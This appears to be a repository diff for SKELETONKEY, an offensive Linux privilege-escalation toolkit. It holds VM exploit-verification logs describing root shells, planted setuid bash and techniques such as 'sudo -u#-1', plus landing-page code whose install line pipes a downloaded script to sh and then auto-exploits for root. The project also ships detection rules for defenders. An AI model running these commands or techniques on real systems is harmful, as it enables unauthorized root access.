{"module":"cgroup_release_agent","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (cgroup/userns precondition on this host)","status":"exploit_fail_honest"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"detect","expect_detect":"OK","actual_detect":"OK","root_witness":"n/a — 5.4 predates the bug (5.8), correctly not-vulnerable","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen, genuinely vuln - predates Ubuntu 5.15.0-70 fix)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - module technique broken (chown merged carrier: EPERM); needs CVE-2023-0386 FUSE copy-up PoC port","status":"needs_fix"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - kernel 5.15.0-25.25 likely carries Ubuntu backported fix (USN-5317); detect is version-blind. Needs a pre-fix kernel to verify exploit","status":"inconclusive_backport"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - fixed 2 real bugs (uid_map read post-unshare; missing CLONE_NEWCGROUP). Now sets up userns+cgroupns+mount correctly, but on stock systemd host ALL v1 controllers are pre-mounted (release_agent init-owned=EACCES) and named-hierarchy mount is EPERM. Reachable only in a container context (CAP_SYS_ADMIN / ownable cgroup). Environmental, not a module bug.","status":"env_limited_after_fix"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (genuinely vuln)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - non-FUSE chown copy-up gives uid=1000 not root; FUSE-lower overlay mount is ENOSYS in userns. Needs fusermount-in-init-ns FUSE port. Raw /dev/fuse attempt reverted.","status":"needs_fuse_port"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - SUDO_EDITOR/-- injection hits sudoedit writable-dir guard; needs target-file tuning + module debug. Structural, tractable.","status":"needs_debug"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + sudoers sudoedit grant","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via su skel; /etc/passwd gained skel::0:0 (after 2 fixes: chdir / + helper basename match)","status":"root"}
|
||||
{"module":"sudo_host","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0, sudo 1.9.9-1ubuntu2 + host-restricted sudoers rule","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -h fakehost01; module works as shipped (needs host-restricted rule + resolvable host)","status":"root"}
|
||||
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
|
||||
{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}
|
||||
{"module":"overlayfs","verified_at":"2026-07-24T03:36:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit overlayfs (uid 1000) — the cap_setuid payload now drops a root-owned proof + -rwsr-xr-x root:root setuid bash; module reports OK only after stat() confirms uid==0. Upgraded from getxattr proxy to direct witness.","status":"working"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-07-24T04:00:00Z","host_kernel":"5.4.0-26-generic + mainline 5.8.0","host_distro":"Ubuntu 20.04.0","vm_box":"focal-cloudimg (+mainline 5.8.0)/qemu-kvm","verified_kind":"reference_poc_attempt","exploit_result":"REFERENCE_POC_TARGET_MISMATCH","root_witness":"none. CVE-2021-22555 kernel confirmed vulnerable (5.4.0-26 and mainline 5.8.0, both pre-fix). Andy Nguyen public exploit consistently fails STAGE 1 (could not corrupt any primary message) on both mainline kernels — it is tuned for Ubuntu 5.8.0-48-generics exact slab config (freelist-random/memcg). Confirms primitives need exact-target kernel+config + per-target tuning, not drop-in.","status":"primitive_needs_exact_target_kernel"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+616
@@ -0,0 +1,616 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 46 Linux privilege-escalation modules from 2016 to 2026. 29 of 41 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="46 Linux LPE modules; 29 of 41 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://skeletonkey.netslum.io/">
|
||||
<meta property="og:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://skeletonkey.netslum.io/og.png?v=2">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.10.0 — released 2026-07-24
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>46 Linux LPE modules</strong> covering 41 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 29 of 41 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="46">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="29">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
<a class="btn btn-primary" href="https://github.com/KaraZajac/SKELETONKEY/releases/latest">
|
||||
↓ Latest release
|
||||
</a>
|
||||
<a class="btn" href="#explain">See <code>--explain</code> in action</a>
|
||||
<a class="btn btn-ghost" href="https://github.com/KaraZajac/SKELETONKEY">
|
||||
<svg height="16" viewBox="0 0 16 16" width="16" fill="currentColor"><path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
|
||||
Source on GitHub
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p class="hero-warn">Authorized testing only. See <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a>.</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<!-- ──────────────── TRUST STRIP ──────────────── -->
|
||||
<section class="trust-strip">
|
||||
<div class="container">
|
||||
<div class="trust-row">
|
||||
<span class="trust-label">Grounded in authoritative sources</span>
|
||||
<ul class="trust-items">
|
||||
<li>CISA KEV catalog</li>
|
||||
<li>NVD CVE API</li>
|
||||
<li>MITRE ATT&CK</li>
|
||||
<li>kernel.org stable tree</li>
|
||||
<li>Debian Security Tracker</li>
|
||||
<li>NIST CWE</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── --EXPLAIN SHOWCASE ──────────────── -->
|
||||
<section id="explain" class="section section-feature reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">flagship feature</span>
|
||||
<h2>One command. Complete briefing.</h2>
|
||||
<p class="lead">
|
||||
<code>skeletonkey --explain <module></code> renders the page every
|
||||
team needs: CVE / CWE / MITRE ATT&CK / CISA KEV status, host
|
||||
fingerprint, live detect() trace with verdict, OPSEC footprint, and
|
||||
the detection-rule coverage matrix. Triage tickets and SOC handoffs
|
||||
in one paste.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="terminal-shell">
|
||||
<div class="terminal-bar">
|
||||
<span class="install-dots" aria-hidden="true"><i></i><i></i><i></i></span>
|
||||
<span class="install-title">skk-host ~ $</span>
|
||||
</div>
|
||||
<pre class="terminal-body" id="explain-output"></pre>
|
||||
</div>
|
||||
|
||||
<div class="explain-annotations">
|
||||
<div class="annotation">
|
||||
<span class="anno-num">1</span>
|
||||
<div>
|
||||
<strong>Triage metadata in the header</strong>
|
||||
<p>CWE class, MITRE ATT&CK technique, CISA KEV status with
|
||||
date_added. Fed from <code>tools/refresh-cve-metadata.py</code>
|
||||
which pulls fresh from federal data sources.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">2</span>
|
||||
<div>
|
||||
<strong>Live host fingerprint</strong>
|
||||
<p>Cached once at startup by <code>core/host.c</code>. Every
|
||||
module sees the same kernel / arch / distro / userns / apparmor
|
||||
/ selinux / lockdown picture.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">3</span>
|
||||
<div>
|
||||
<strong>Real detect() trace</strong>
|
||||
<p>The verbose stderr of the module's own probe — each gate
|
||||
fires, each kernel_range entry checked, each verdict justified.
|
||||
No more black-box "VULNERABLE" outputs.</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="annotation">
|
||||
<span class="anno-num">4</span>
|
||||
<div>
|
||||
<strong>OPSEC footprint</strong>
|
||||
<p>Per-exploit description of what the SOC would see if this
|
||||
fired: file artifacts, dmesg signatures, syscall observables,
|
||||
network activity, cleanup behavior.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── BENTO FEATURES ──────────────── -->
|
||||
<section class="section section-bento reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">capabilities</span>
|
||||
<h2>Built for every side of the desk</h2>
|
||||
</div>
|
||||
|
||||
<div class="bento">
|
||||
<article class="bento-card bento-lg">
|
||||
<div class="bento-icon">⚡</div>
|
||||
<h3>Auto-pick the safest exploit</h3>
|
||||
<p>
|
||||
<code>--auto</code> ranks vulnerable modules by stability
|
||||
(structural escapes > page-cache writes > userspace races
|
||||
> kernel races) and runs the safest one. Never crashes a
|
||||
production box looking for root.
|
||||
</p>
|
||||
<pre class="bento-code">$ skeletonkey --auto --i-know
|
||||
[*] 3 vulnerable; safest is 'pwnkit' (rank 100)
|
||||
[*] launching --exploit pwnkit...
|
||||
# id
|
||||
uid=0(root) gid=0(root)</pre>
|
||||
</article>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
</p>
|
||||
<div class="rule-cov">
|
||||
